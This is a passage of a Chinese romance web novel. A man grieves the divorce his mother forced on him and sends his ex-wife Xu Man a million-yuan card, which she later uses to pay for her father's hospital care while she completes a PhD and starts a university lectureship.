事实果然如他所想那样,他攥着皱巴巴的离婚证,纵有满腔怒火,却仿佛被人紧紧扼着喉咙,不得发泄出来,只能竭力忍着,连呼吸都得用尽力气,才能抵达肺腑,才能将这汹涌澎湃的怒火给压下去。 良久,他的情绪稍稍平复。 他瞪着杜曼玲,几乎是用卑微的,恳求的口吻在说,“妈,你又擅自替我做决定?这是第几次了?你是不是很乐意亲手摧毁我的幸福,你要把我毁掉才满意是吗?” 杜曼玲一愣,脸色微僵,反驳道:“你怎么能这么想?我做这一切难道不都是为了你?怎么会想毁掉你?” “为了我?呵呵,你口口声声为了我?那为了我什么?” “当然是为了你能幸福。” “那你看看,我幸福吗?” 骆亦迟微抬着头,看向杜曼玲时,眸光沉沉的,暗藏汹涌,像是有东西想冲破那层薄薄的角膜,把里面的黑暗东西剖开到她面前来。 有那么一瞬间,杜曼玲的心底闪过一丝心虚,但是很快的,就又被高傲替代。 她避开骆亦迟的视线,振振有词道,“那许满并不能给你的婚姻助力,只有离了婚,你才能大胆寻找自己的幸福,我这都是为你好!等你以后就知道了!” 又是这话。 骆亦迟一个字都不想听。 他烦躁的站起来,一手叉腰,一手乱无章法的搓着额头,在空地上来来回回踱步,试图从这满腔愤恨的情绪里,扒拉出一丝理智。 “妈你真的是为我好吗?你要不要问问你自己,做这一切究竟是为了什么?是你自私的面子,还是你自我感动的想法?” 杜曼玲从来没从骆亦迟嘴里听到过这样恶毒的话,登时怔住了,“你竟然是这样看我的?” “难道不是吗?我就不明白了,你不让我喜欢池柠,我能理解,可是许满做错了什么?她哪里不好了,你总撺掇我跟她离婚,你到底看不上她哪里了?” “她哪儿我都看不上,一个乡野丫头,骗了你就算了,还妄想通过孩子拿捏你,实现跃级大翻身,做梦!” “所以,这就是你代替我签离婚协议的原因?就因为你看不上她?妈你知不知道,你这样做是犯法的!” 仿佛触了杜曼玲的逆鳞,她骤然拔高声音,“怎么,你是我的儿,你还能告我不成?” “如果你不是我妈,我早在你毁我签证那年就将你告了!” 杜曼玲难以置信的看着骆亦迟,难以想象,这样的话竟然从她最亲爱的儿子嘴里说出来的。 “好好好,原来你早就存了这种心思,早就想告我了!这就是我的好儿子,我苦心积虑费尽心思为了我的好儿子,到头来我的好儿子却成了白眼狼!来,拉开门,让大家看看,看看我的好儿子,为了一个两个不爱他的女人,要把他妈妈送上法庭,送进监狱!” “妈!” “别叫我妈?我没见过哪个儿子,为了一个女人,要去告他妈!你不是要告吗?你去啊,你最好现在就去把许满那个贱女人给找回来,你们两个人一起手拉手,把我给告了!去啊,你快去!我就在这里等着,等着你告我!” “艹!” 愤怒再也遏制不住,踏着理智冲破牢笼,直窜脑门。 骆亦迟神情紧绷,后槽牙咬得咯吱响,胸腔剧烈起伏,积攒了一肚子怨愤无处发泄,只能恨恨的一脚踹向旁边的茶几。 哗啦啦一声巨响,玻璃茶几翻倒,咖啡顺势浇了一地,将美女们的照片染污。 骆亦迟看到那碍眼的离婚证,气急败坏的捞起来,像当年杜曼玲剪毁他的签证一样,当着她的面,将那证件唰唰几下撕成了碎片,一扬,抄起手机和外套,拉开办公室的门,在员工们探头探脑的窃窃私语声中,大步跨出了公司。 他开着车,一路疾驰,漫无目的驰骋在大街上,不知道该去哪里,回过神来时,已经停在了民政局门口。 民政局已经下班,只有保安守在伸缩门旁,骆亦迟目光定定穿过伸缩门望向里面,满腹思绪油然而生。 许满今天来过这里。 不知道她来时,是怎样的心情。 是难过的?还是开心的? 又或者觉得终于解脱了,将他痛痛快快的骂了一顿? 骆亦迟猜不出来。 他不了解许满,不知道许满每个表情、每个动作的含义,无法从她的日常交谈和行为中,判断出她的情绪和想法。 他不是她肚子里的蛔虫。 他不知道许满会想什么,会怎么做。 许满离开他是对的。 他的忽视,他的不爱,他的不在意,现在连他自己都觉得,是如此的明目张胆。 平行线回归到各自的轨迹上了,不会再相交,更不会再重合,虽然不甘心,不想承认,但他和许满,就是结束了。 用这种意想不到又无可奈何的方式。 天黑了,路灯一个个亮起来。 骆亦迟重新发动车子。 他不想回家,但又不知道该去哪里。 不想回老宅面对杜曼玲的哭诉和骆彦怀的质问,也不想去池柠那里,因为许满不喜欢。 可笑,许满在的时候,他从不在意许满喜不喜欢。 现在他和许满没有关系了,反倒在意起许满的想法来。 天彻底黑透的时候,骆亦迟回到了市中心的家。 一进门,漆黑一片。 按下开关,明亮的灯光映照在这个空荡荡的房子里,每走一步,仿佛都听见空旷的回响。 他觉得孤独,像个走在沙漠上,内心渴望水源的旅者。 在今天之前,他回家,还期盼家里有个人在满怀期待的等着他,听见他开门进来,迎上来,开心的说,你回来了。 而从今天起,这个可能再也不会发生了。 骆亦迟拖沓着脚步进了卧室,关上门,把自己藏在这个狭小的空间里,迫切的想从这个他和许满曾经共同生活的空间里寻找到一丝安慰。 他躺在床上,手心摸在许满躺过的那一侧,那里触手冰凉,告诉他,已经一个月没人躺过了。 他就这样呆呆的望着天花板,手掌覆在那里,感受着冰凉的温度。 在每一个晚归的夜,许满也是这样等他吗? 在每一个因为争吵而愤怒离去的夜,许满也是摸着这里,从温暖到冰凉吗? 骆亦迟不知道,也从来没有想过。 但这份冰凉让他难过,让他愧悔。 他没有勇气面对,也没有勇气回忆,拿过旁边的枕头盖住眼睛,仿佛看不见,就不会觉得寂寞寒冷。 他任由自己沉浸在这样的情绪里。 不经意间,脸颊痒痒的触感将他捞回。 他伸手摸了一下,什么都没摸到,可是当手掌在灯下划过时,一个极不起眼的东西,就这样,跌进他的眼睛里,让他乱了呼吸。 许满没给他留下任何值得思念的东西,除了一个戒指,几瓶枯败的花,留给他的,只有一室冰冷。 现在,又多了一根头发,细细长长的。 濒死的旅者终于找到水源,迫切的饮了上去。 骆亦迟捏着那根头发,在灯下看了好久。 直到,眼眶泛起热意。 许满,自从那天你出院后,就再也没跟我说过话了。 这往后,我们再也说不着了。 连见一面的机会也很渺茫了。 你告诉我,我错在哪里了? 告诉我,我一定改。 我改了你就回来,好不好? 我想你。 真的想你。 我从不知道,原来我会这样想你…… 心底里从不在意的某个地方,思念悄然破土,抽枝发芽,在骆亦迟溃不成军的情绪里肆意疯长,洪水一样,铺天盖地的,将他淹没得彻底。 他从不知道原来可以这样想念一个人。 他视若珍宝的将那根头发攥在手心,然后学着许满,拉过被子,缓缓地,将自己蒙住。 泪水无声自眼角滑落,此时此刻,他感到从未有过的孤独和挫败。 他的命运从来不由自己。 想爱时不能爱,想选时没得选。 等错过了,失去了,又后悔。 后悔当初视而不见,后悔当初没有珍惜。 他唾弃这样的自己,无能,无力,也痛恨这样的自己。 他想改变,想挣脱这无形的枷锁,想自己亲手主导这被人左右的生活,想去追逐那个人。 可是,该怎么做才行?. 嘟——嘟—— 电话打了第二遍,对面才接通。 “喂?哪位?” 一个冷淡又不耐烦的女生接起电话。 “是我,骆亦迟……” “你好,骆先生。” “我……”骆亦迟还没准备好话术,不知道该怎么说。 “骆先生,我不追究你深夜打扰一个单身女性休息是出于什么目的,但我要说的是,我和您之间的联系仅限于许满女士,而自从你们双方都在离婚协议上签过字以后,案件已经宣告结束,我跟许女士已经一个多月没有联系了。” 骆亦迟无助的捏了捏眉心,有些难以启齿。 “林律师你不用紧张,我打这个电话来,只是想问问你,许满有没有话想转告我?” 电话那边是良久的沉默。 就在骆亦迟以为林逸不会回答,想说“算了”的时候,那边开口了。 “感谢骆先生您的提醒,许女士确实有句话让我转告您。” 骆亦迟一口气提到了嗓子眼。 林逸说:“她说,您都已经让她净身出户了,甚至离婚都不愿意亲自到场,那您还找她做什么呢?” 好不容易提起的那口气,在这句话落下的一瞬间,泄了大半。 原来许满在他这里什么都没得到。 那确实对他没什么好留恋的。 电话里传出不平稳的电流声,骆亦迟抿紧嘴唇,抬头望向窗外黑沉不见星月的天空。 他不知道该说些什么了。 要解释吗? 但那很难。 可是还是不想放弃。 他好不容易想到了不动声色找寻许满的方法,就算希望渺茫,他也要尽力一试。 手心沁出细细的汗,骆亦迟把手机从左手换到右手,用恳求的,低声下气的口吻说:“既然许满不愿意见我,那林律师你……你能帮我带句话吗?” 林逸没有回答。 骆亦迟单方面的认为林逸是在等他,话都不带喘的接着说:“很遗憾我失去了陪伴她一生的权利,从今以后,希望她找到真正的幸福,过上想要的生活。” “还有……” 他慢慢说着。 “我给她准备了一份礼物。” “不管我们曾经什么关系,请她无论如何,收下这份礼物。” “就当是……” “就当是我给她准备的再婚贺礼吧。” 第17章 第 17 章 一百万。 许满最近的日子过得简单又充实。 每天早上六点, 她准时起床,先绕着村子跑一圈, 再赶个早集买点菜,回来叮叮咣咣做一顿早饭,吃完饭,打扫打扫卫生,再侍弄侍弄花草,做好这一切, 许晋文出去打工,她坐在窗下,听着鸟语,闻着花香, 安静的看书学习。 看的是园林专业的考研书籍。 回到流云湾村已近两个月,起先许晋文还嘟囔许满, 怪她主意太大, 离婚这么大的事儿都不跟他商量一下, 就稀里糊涂的离了, 结婚这才一年, 村里人是会胡乱揣测说闲话的。 许满无所谓, 闲话再难听, 又传不到她耳朵里。 但许晋文不认同。 他本身就对这便宜女婿和便宜亲家不满, 结婚到现在, 门没登过就算了, 电话也没打来过一次, 分明就是看不起他们!他敢赌,他老许家的门朝哪边开,这女婿和亲家压根就不知道! 但不满归不满, 女儿该心疼还是要心疼的。 看许满天天这种云淡风轻满不在乎的样子,许晋文就好奇了。 他问许满,“是不是去年那次流产伤到身体,被婆家嫌弃,让他们给欺负了?不然为什么我以前那么爱笑一姑娘,现在几乎都不怎么笑了。” 许满便笑笑,看着蓝天白云,轻描淡写的回答:“没有,没被欺负,没被出轨,也没被家暴,流产是意外,讨厌他们,不想过,所以离了,没别的理由,爸你别乱猜。” 细节上不多解释一句。 不管许晋文问多少次,许满都这样回答。 日子久了,许晋文见许满态度坚决,每天的生活都安排得井井有条满满当当,便把疑问都埋在心里,慢慢不再问了。 一天上午,许满像往常一样在院子里看书,听到门外有人叫她:“许满,有快递!” 许满放下书本,打开院门,快递员递给她一个文件袋。 许满疑惑:“我最近没买东西。” 快递员:“是流云湾村68号吧?” 许满点头:“是。” 快递员:“那就没错。” 说完,骑着小电瓶一溜烟跑远了。 许满一头问号愣在原地,核对过快递面单上的收件人和地址,确定是自己没错,这才拿着快递回到院子。 文件袋里有东西晃来晃去,许满狐疑的拆开,看见一张银行卡安静躺在里面。 她将卡片拿出来,正反面确认了一遍,得出结论:这是张她不认识的储蓄卡。 不是自己的东西,许满不敢乱动,把那张银行卡放在窗台上,想着等快递员再来的时候,把它交回给快递员,然后就去忙你自己的了。 这件事本没放在心上,直到下午太阳快落山的时候,林逸给她打来电话,问她:“快递收到了吗?” 许满这才明白,“原来那张银行卡是你寄的啊。” 林逸:“是我寄给你的没错,但卡不是我的,我只是个转寄人。” 许满:“怎么说?” 林逸:“是你前夫让我给你的。” 许满:“……” 还没人对许满说过“前夫”二字,许满诈一听,还有些不适应。 林逸:“我一直对骆先生让你净身出户这件事耿耿于怀,后来一个深夜他联系我,让我把这张银行卡交给你,我才勉强刷新一点对他的认知,他在我心里的印象才没那么糟糕。” 林逸:“他说,卡密你知道。” 骆亦迟所有的银行卡都共用一个密码,这许满是知道的。 “除了这张卡,他还有句话让我带给你。”林逸顿了顿,“他说,他很遗憾失去了你。” 林逸将那天晚上骆亦迟说的话一五一十传达给许满,许满听完,没有任何动容。 每一个成年人都应该知道一句至理名言:迟到的深情比草贱。 都已经离成了,为什么还要这么做,是想补偿她吗? 她不需要补偿,她只需要,他的不打扰就好了。 许满:“我知道了,谢谢你林律师。我前夫在我这里已经是黑名单永不见天日的状态,如果他再托你联系我,林律师,麻烦你直接帮我回绝吧。” 她真的,不想跟骆亦迟再有任何瓜葛了。 挂上电话,许满戴上头盔骑上电瓶车去镇上买菜。 临出门,暼见窗台上的银行卡,停下车子,又折回去把它拿上。 电瓶车骑个十来分钟,就能到最近的一家菜市场。 菜市场旁有台老旧的ATM机,许满把车停在路旁,拿上银行卡去了ATM机前。 卡片插上去,许满输入印象中的那个密码。 卡片读取…… 等待…… 十秒钟后,读取成功。 查询。 老旧的ATM机联网很慢,又是十几秒,查询才返回结果。 1,000,000元。 “呵。” 许满冷笑了一下。 一百万,骆家公司给骆亦迟开出的税后年薪。 许满不想知道骆亦迟这是什么意思,没做他想,退出银行卡,转身去菜市场买菜了。 回到家,她把银行卡随手塞进床头柜的抽屉里,继续过自己按部就班的小日子。 做饭,洗碗,照顾爸爸,然后看书,学习,洗漱,睡觉。 她喜欢这样平静的生活。 简单的人际关系,恰到好处的忙碌,不用一个人待在家里胡思乱想,不需要费尽心思去讨好谁,更没有三天两头的争吵。 日子一天天过,秋天的时候,许满报名参加了研究生考试。 许晋文本想让许她去相亲,老这么在家待着不是个事儿,或者去找个工作,挣点钱补贴补贴家用,顺便给自己攒点嫁妆,因为光靠他一个人打零工,实在无法让他们这个两口之家过得更好。 但上研究生是许满一直以来的心愿。 她知道许晋文在担心什么,劝说许晋文:“要是隔壁张姨再跟你打听我的事儿呢,你就实话告诉张姨,就说,对,就是她想的那样,我结了个婚又离了。她要是想帮我介绍对象呢,你就让她介绍几个条件好的,不过先说好啊,我要头婚的,适龄的,长得瘦高好看不秃顶,工作稳定有前途的,爸你先帮我把把关,不符合条件的都先帮我拒了。” “至于找工作这事儿……”许满认真道,“我会努力拿到奖学金的,考上了也会去申请助学贷款,笔试一过我就去赚钱,学费这事儿不用你管,你只管照顾好自己,别太劳累,也别让我操心就行了。” 许满向来说一不二,做了决定不会轻易改变,许晋文果然把许满的话通过邻居间接传达给了张姨,张姨听说了,瘪着嘴:“二婚还提这么多要求,真当自己是值钱货了。” 许满听了,笑笑,当一阵风吹过,继续埋头读书。 十二月底,许满参加了笔试。 第二年过完年,笔试成绩出来,许满发挥得不错,成绩虽然没有第一年好,但还是顺利通过了,考了个不上不下的位置。 查出成绩的时候,许满正在镇上摆摊卖花——她种的那些花都长得很好,笔试完又跟着几个大V博主学习鲜花搭配和包装的知识,把开得好的花包装成时下热门的款式,骑着小电驴拖着箱子,顶着冬日的寒风,不是去学校,就是去商场,流窜在各个人流量大的地方卖花。 赚钱了,但不多,够她日常开销。 天冷,许晋文认为卖花这活儿辛苦,赚得也少,只有在情人节或者是母亲节,这类具有特殊意义的节日里,收入才看得过去,十分吃力不讨好,劝许满还是安心找个班上,起码稳定不受罪。 但是许满就是喜欢,也就没把许晋文的话放在心上,乐此不疲的继续卖花。 开春渐渐回暖的时候,许满通过了研究生复试。 学校公布录取结果,笔试和面试成绩按比例相加,许满还意外的卡上了一个奖学金末尾的位置。 许晋文知道后,终于不再嘟囔许满找工作的事儿,而且劝她早点准备入学需要的东西,还顺便在出门溜达的时候,听到隔壁张姨在情报中心散播的许满对再婚对象要求的八卦,一个接一个的怼了回去。 不久之后,录取通知书寄到了家。 九月份,许满拿着通知书去报道,重新回归校园,成为了一名学生。 开学后,许满整日泡在课题里,两耳不闻窗外事,一心只读圣贤书。 导师见许满是个做研究的好苗子,在研一快结束的时候,提出建议让她读博。 许满思考了几个晚上,最后听取导师建议,在研二时,向导师递交了转博申请。 为了转博能够顺利,许满天天披星戴月早出晚归,在实验室里待的时间越来越久。 求学之路单调枯燥,除了导师和同学,她几乎没交到什么朋友。 如此换来研二下学期的转博成功。 研三那年,许满开启了读博之路,变得更加忙碌,没有多少时间回家。 除了要搞研究做课题写论文,导师还给她安排了一份代课的工作,让她除了博士补贴之外,还能赚点小外快。 这意味着闲暇之余,许满还得重新拿起本科生的课本,备课做PPT。 幸好许满并不排斥这样的生活。 博士第二年夏天,导师有事要去西南考察一个月,许满上传完本科生的期末成绩,得空回了一趟家。 上次见许晋文还是过年的时候,这才过了半年,许满就发现,许晋文的背好像驼了些,人也干瘦了不少,衣服穿进去晃晃荡荡的,跟个细麻杆一样。 就像院子里被冷落的花,因为缺乏悉心照料,消瘦枯萎了许多。 许晋文说他在村子里找了个好工作。 有开发商看上了流云湾这个好地方,把村子旁边那块八九百亩的荒地买了,借着流云湾依山傍水的好风光,和村民淳朴的民风,要开发一个大型的旅游度假村。 开发商为了和村民搞好关系,跟村干部商议,可以解决一部分村民的就业问题。 许晋文借着这个机会自荐,开发商发善心要了他,但因为年纪大,只被安排做一些搬运打扫之类的细碎杂活。 变故发生在许满在家这段时间。 八月份的天,暑气正盛,太阳才刚冒出个头,就已经蓄力炙烤大地,气象台更是一早就发布了红色高温预警。 许满早上醒来看见预警,劝说许晋文,天这么热,要不这几天在家歇歇,等天没那么热了再去工作。 许晋文摆摆手,“哪儿能歇哟,那么多人盯着呢,一歇把活儿给歇没了。” 然后不顾劝说,拎着工作服出门上班去了。 这天中午,工人们吃完午饭,喝了解暑的绿豆汤,回去等下午三四点太阳没那么毒辣的时候再出来干活。 许晋文等大家都吃完饭,戴上宽檐帽子,拿起扫帚,打扫午餐后留下的一地狼藉。 在度假村工地上打杂的村民不少,每个人负责一片足球场那么大的区域。 许晋文穿着闷不透气的工作服,在自己的区域里顶着太阳认真打扫。 身体粘在工作服里,湿哒哒的。 汗水从下巴滚落,落在地上,瞬间被蒸干。 蝉鸣聒噪,许晋文不知道怎么回事,觉得心慌,恶心,喘不上气,还有些头晕眼花,想休息休息。 抬头望望天,灼灼烈日耀眼刺目,晃得人睁不开眼。 他想遮住这刺眼的阳光,费力的抬起胳膊看着天,只觉得头顶的天像是也经不住烈日灼烧,被烤出了一个黑漆漆的洞,且那洞口还在慢慢扩大,边缘不断向外蔓延…… 耳边的蝉鸣不知什么时候也被拉远,闷闷的,仿佛从另一个时空传来…… “哈……” 干涸苍老的嘴唇微张,发出一声极轻的叹息。 接着,像一根没有筋骨的软面条一样,啪的一声,许晋文摔在了烙铁似的地面上。 第18章 第 18 章 神明保佑。 许晋文紧急被送去了医院。 本来只是一个中暑, 但他身体底子本来就差,再加上常年劳累, 很多潜在病症趁机钻出来,这一倒,就一直没有醒来。 许满急匆匆从家里赶过来,医生告诉她,情况不乐观,又连夜送去了市里的大医院。 许满陪昏迷的许晋文做了很多检查, 检查结果一个个出来,没一个是好的,最后眼睁睁看医生推着病床,把许晋文推进了重症监护室里。 她被挡在门外。 妈妈去世时, 许满还没记事,不知道发生过什么。 奶奶去世时, 许满正上着忙碌的高三, 没人通知她, 等她周末回到家, 奶奶已经完成了葬礼, 黑白遗照挂在墙上, 目光慈蔼的看向她。 现在, 许晋文躺在病房里。 一门之隔, 许满不知道接下来要面对什么。 她无助的贴在监护室厚重大门的玻璃上, 望着床上瘦小的老头, 戴着呼吸机, 只露出半个手掌宽的黝黑皮肤。 她强迫自己冷静,不要乱了阵脚。 然后,在医生把帘子拉上之后, 转身,想办法去筹钱。 重症监护室一天要花一万多,医保也报不了多少,许满搜罗了家里所有的存折,许晋文这几年靠打工攒下来的钱,和她自己读博期间的补贴和奖金,能凑到的,全都充进了医院账户里。 她向导师告了假,导师准许她等爸爸身体好转了再来学校,还号召同学师生给她捐了一些钱。 二十多天过去,许晋文没醒,一直这么不好不坏的躺着,每天靠输液打点滴维持生命。 医院账户里的钱很快见了底,许满去找亲戚邻居借,但亲戚邻居担心他们一家的还钱能力,只借了很少的给她。 无奈之下,许满去找开发商,开发商表明会付医药费,但是不垫付,得出院后拿着病历发票这些证明文件,才会全额赔付医保报销之后的剩余部分。 他们拿走了她手里现有的发票和病例证明,让她回去等。 许满不知道要等多久,深夜,她坐在花朵枯败的院子里想办法,医院一个电话打了过来。 许晋文突然恶化了,医生建议使用进口仪器,上进口药物。 许满哭着请求医生,千万帮她保住爸爸。 保住可以,但是要钱呐。 蝉鸣蛙叫的夜晚,星月都躲起来不见人,许满无助的望着漆黑的天空,向上天祷告,向已故的奶奶妈妈请求,一定帮她留住爸爸。 她不想失去爸爸,可是,她真的不知道该怎么办。 她捂着脸小声哭泣,呜咽声混杂在蛙叫里,分不清哪个是她的。 一直等到哭够了,她擦擦脸,重新振作起来,回到屋里,去许晋文的卧室里翻找,看有没有遗漏的存折。 她翻了很久,不知道翻到哪个抽屉时,忽然想起,她还有一张存款百万的银行卡。 许满不带犹豫冲回自己卧室,拉开床头柜的抽屉,拨开一堆废旧的考研资料,看到了贴在抽屉最里侧的银行卡。 仿佛救命稻草一样,她紧紧抓住那张银行卡,坐在地上,嚎啕大哭了出来。 许晋文用上了进口药物和仪器。 隔天,主治医生通知许满,全国著名的神经科专家突访医院,鉴于许晋文神经方面受损最为严重,院方会安排专家给他诊治。 许满感激不尽。 专家会诊第四天,许晋文病情得到好转,悠悠转醒,稳定后转到了普通病房。 许满紧绷的神经终于有时间放松下来,她握住许晋文干枯的手,望着他浑浊的双眼,鼓励他:“爸,会好起来的,会好起来的。” 许晋文积极配合治疗,很快出院了。 他的身体已经不允许再外出打工,许满跟他商量,替他把度假村的工作辞了,拿着赔偿款,在学校旁边租了个小单间,把许晋文接过来,一边读博,一边照顾他。 大病一场,许晋文的思维变得迟缓了很多,记忆也跟着下降,每次许满结束课题回到出租屋,许晋文总要看她很久,才会把她认出来。 在许满又一个晚归的夜,许晋文吃完饭,慢吞吞的放下碗,费劲的跟许满说:“我想去,康复医院,住。” 许满正在分药,现在的许晋文,每天要吃很多药,但是又没有足够的能力记住该吃哪种,吃几颗,所以不管多晚,她都会风雨无阻的回来,帮他把第二天的药分类准备好。 许满没有抬头:“爸,能告诉我为什么想去康复医院吗?” 许晋文佝偻着背,抬起浑浊模糊的双眼,怯怯望着许满清瘦憔悴的背影,努力把舌头捋直,尽力咬字清晰的慢慢说:“赔偿款,也够我,在那里住几年的。” “你天天,那么晚回来,我一个人……” “也没人说话。” “出门哪儿都,不认识,不敢出门。” “村里老赵,说那里,挺好的。” 老赵是之前经常和许晋文一起外出打工的工友,去年年初脑梗之后一半身子瘫了,儿女征求他意见之后,把他送进了康复医院。 许晋文没出事之前,去探望过老赵几次,见他整天乐呵呵的,精神面貌不比脑梗之前差,还调侃他是去里面享福了。 许满说:“行吧,爸,我看看。” 经过多方面的打听和咨询,许满确认老赵所在的康复医院还不错,趁假期回了趟家,把许晋文送了进去。 不用每天再分出精力去照顾许晋文,许满又恢复到以前那样的生活,搞研究做课题,写论文发论文,给本科生上课,但只要一有时间,她就会回家,去康复医院看望许晋文。 就这样过了一年,许满读完博二,上了博三。 她不打算继续深造了,趁早规划了博三的学习和生活,争取按时毕业,找到工作。 高校每年都会进行人才引进和招聘,许满早早留意各大学校的招聘政策,积极准备,向老师学长找经验,在学校政策发布的时候,第一时间向几所目标学校投去了简历。 也许是她读博期间努力的成果不错,简历投过去,中意的几所学校都给了回应,向她抛出了橄榄枝。 经过斟酌比较,许满筛掉离家远的,在连城的两所大学里对比,最后选择了待遇和前途相对来说比较好的一所一本大学——连城大学。 六月份的毕业季,有人为了不能毕业而焦躁发愁,有人为了找到心仪工作而喜笑颜开,许满穿着博士服,一手拿着毕业证,一手拿着offer,向五年来给予她极大帮助的导师挥泪告别。 许满拖着行李回了流云湾。 学校要等到九月份才能入职,不用再为了学业而整日忙碌,许满紧绷的生活得以喘一口气,趁着闲暇,将这个荒凉冷清的家重新拾整了起来。 她给花坛重新翻了土,又去花鸟市场买了花盆肥料和鲜花绿植,把家里现种的,和从山里新采的都分类种下,将院墙里外楼上楼下都打理得热热闹闹红红绿绿,还把许晋文从康复医院里接回来,自己亲自照顾。 经过在康复医院一年多的治疗,许晋文恢复得不错,虽然现在说话依旧费劲,但是已经能够表达出自己的需求,还能记得许满,不需要将她认好久才认出来,而且还知道自己的女儿是个博士,一跟老赵聊天就炫耀。 七月初,学校通知许满去办理入职手续。 许满提前一天跟邻居刘大爷打好招呼,托刘大爷照顾一顿许晋文的午饭——她第二天要出门,会提前把饭做好,只要刘大爷帮忙热一下就行。 刘大爷爽快答应了。 第二天一大早,许满出发,到达学校已经是上午十点多,等办完手续,已经是中午了。 暑假,校园里人并不多,许满办完事儿,撑着太阳伞在校园里溜达,熟悉路线和环境。 连大是一所综合大学,历史悠久,占地颇大,许满走了大半天,一路逛一路问,来到了未来要就职的建筑与城市规划学院旁边。 学院旁边有个校园超市,许满进去买了一瓶水和一块面包,出来坐在树下的长凳上一边吃东西,一边纳凉。 突然,有人叫了她一声。 “许满老师?” 许满应声回头。 只见一个手拿饮料,腋下夹着一副网球拍,穿一身运动服的阳光大男孩咧着一口白牙朝她笑,“果然是你啊,许满老师。” 许满不认识这个男生,在脑海里搜寻了半天,查无此人。 “你是……” “许满老师,你不记得我了?我是梁桓宇呀,去年冬天你代过我们的理论课,好像叫什么景观生态与保护,我一直缺课,你还让我低分过了,我很感激你呢,一直想找机会跟你说谢谢。” “……” 景观生态与保护,大三的课程。 去年冬天确实有那么一段时间许满在代这个课,但是经常缺课的人,她怎么会记得长什么样子? 许满摆出虚假的微笑:“经常缺课都还记得我,梁桓宇同学,你记性真好。” “嗐,我这不是觉得那堂课没有上的必要吗?” 梁桓宇很自来熟的朝许满走过来,隔着一个人的距离,坐在长凳另一侧上。 “是许满老师你长得好看,所以我才印象深刻。” 如果一个大学老师长得好看,好看到让人过目不忘,那么她的课不管多无聊,学生大概率都不会缺席。 读博期间许满可以说没打扮过,整日不是扎个低马尾,就是披散着头发,素面朝天的来来去去,整个一资深科研女的形象,不至于不修边幅,但距离好看还是有一段距离,课堂上学生更是没有一次全员到齐过。 所以梁桓宇这句恭维,她不敢认同,只当是不正经的调侃,不想再继续交谈下去,把头转开,继续就着水吃面包。 “不相信吗?”梁桓宇打量着现在赏心悦目的许满,回忆起第一堂课时她的装扮,比划道,“那时候,老师给我一种,淳朴又博学的印象,像是……怎么说呢,对,陶瓷素胚一样,不着修饰,不像现在,略施粉黛,令人耳目一新。” 就是天然土呗,许满心说。 “许满老师来这里旅游?” “嗯,参观参观。” “这么热的天……” “错峰,人少,不拥挤。” 梁桓宇故作失望道:“啊,这样啊,我还以为老师跟我一样,家也在学校里呢。” 许满没有跟梁桓宇聊天的兴致,吃完了面包,准备离开。 “梁桓宇同学,我还有事,就先走了。” 说罢站起来。 “哎,许满老师……” 许满一起身,梁桓宇也跟着站起来。 “还有事?”许满问。 梁桓宇把网拍甩到肩上,头一歪,露出一个八颗牙齿的标准微笑。 “没事,就是想提醒老师,天热,早点回去。” 第19章 第 19 章 梁桓宇。 一个小时之后, 许满参观完了学院。 沿着校园的林荫小道往外走,去搭乘地铁坐大巴, 回流云湾。 滴滴—— 有车从后方驶来。 许满往旁边挪了挪,踏上路缘石,在人行道上目不斜视继续走。 滴—— 汽车放缓速度,渐渐的追上许满,与她平行。 行驶了一段距离,车轮子快要贴着路缘石了, 车里的人忽然摇下车窗。 “嗨,许满老师!” 戴着运动发带的梁桓宇从副驾驶的窗户探出头来。 一股属于空调的凉气扑面而来,许满疑惑驻足,不明白大热天的, 这人为什么不待在空调房里凉快,而非要跟着她。 “梁同学, 有事?” “没事。” “哦。” 许满抬脚继续往前。 梁桓宇手搭在方向盘上, 卖力探着身子朝她喊, “我刚才在学校官网上查过了, 许满老师, 你刚过了公示期, 开学就要来连城大学工作了, 今天是办理入职手续的日子, 你来这儿, 是来办入职手续的。” 许满再次停下脚步, 对这种背地里调查人的行为很反感, “你查我?” 梁桓宇嘴角上扬,颇有点沾沾自喜的味道。 “官网有公示,不算查吧。” 许满无语。 晴空万里无云, 连一只鸟儿都不曾飞过。 连衣裙贴在出了薄汗的后背上,黏黏的,很不舒服。 许满拿纸巾沾了沾额头上的汗,说:“是,我是来报到的,梁同学,既然我没让你挂科,那么,你追着调查我做什么呢?” “老师你误会了,我就是看天气这么热,担心把老师热坏了,所以想送送老师,老师你住哪里?租房还是住自己家?坐地铁还是公交?” “谢谢你的好意,不过不用了,老师认得路,会自己走。” “啊,我刚刚还想提醒老师,反方向有个小门,离地铁站近一点,穿过大排档走几步路就到了,比正门近,老师,要不要我送你去?” 许满怀疑的看了梁桓宇一眼,掏出手机,点开地图,一看,果然刚才经过了一个小门,于是不情不愿的向梁桓宇道了个谢,把伞举高,抬脚往小门去。 刚走了两步,没注意脚下有一个石子,许满穿着低跟凉鞋的脚踩上去,“啊”的一声,滑倒,把脚给崴了。 “噗——” 梁桓宇笑出了声,光明正大的。 但他很有眼色,在许满投来一记眼刀之前,赶忙从车上下来,把许满扶起来。 “许满老师,你没事吧?” 许满尝试站起来,但脚踝疼的根本站不住。 梁桓宇得逞了:“许满老师,这下,得我送你了吧。” 许满最终上了梁桓宇的车。 年轻人果然血气方刚,车里的冷气打得很足,许满坐了一会儿,就冷得起了鸡皮疙瘩,默默把出风口拨到两边。 梁桓宇注意到她的小动作,“老师冷了吗,需要我把温度调高一点吗?” 嘴上说着,手下却已经开始动作,把温度往上调了七八度。 “许满老师要去哪里?” “回家。” “哦,许满老师家住哪里?” “邻市。” “邻市哪里?” 这人跟查户口似的,许满不乐意回答,“你问那么多做什么?” “许满老师要在这里工作,保不齐以后我们会经常碰见,我想提前了解许满老师,所以问问。” “你多虑了,我想以后我们碰面的机会应该很少。” 梁桓宇笑:“老师还不知道吧,我爸妈是连大的教授,他们鼓励我考这里的研究生,我想万一我运气好,考到了老师名下呢?” “未免你一腔热情错付,作为老师我还是热心提醒你一句,我只是个讲师,只有带本科生的资格,你要是想考研,还是提前规划好,找别的导师吧,免得在我这儿误了前程。好了地铁站到了,我该下车了。” 车挺稳,梁桓宇打开门锁,“老师,先别说丧气话,我看好你,你会成为一个硕导的。” “谢谢你这么看得起我。” 许满的脚差不多回过劲儿来了,虽然还有点疼,但不影响走路。 下了车,正待关上车门,梁桓宇又把身子倾过来,“老师,你家是在流云湾吗?” 许满脸色微微不悦,他又从哪儿查到的? 梁桓宇双眼亮晶晶的,目光示意许满手里的遮阳伞,“你拿的遮阳伞,是流云湾度假村的。” “……” 流云湾度假村去年年底正式竣工,今年年初试运营,邀请流云湾全体村民们作为第一批游客,去里面体验了一番。 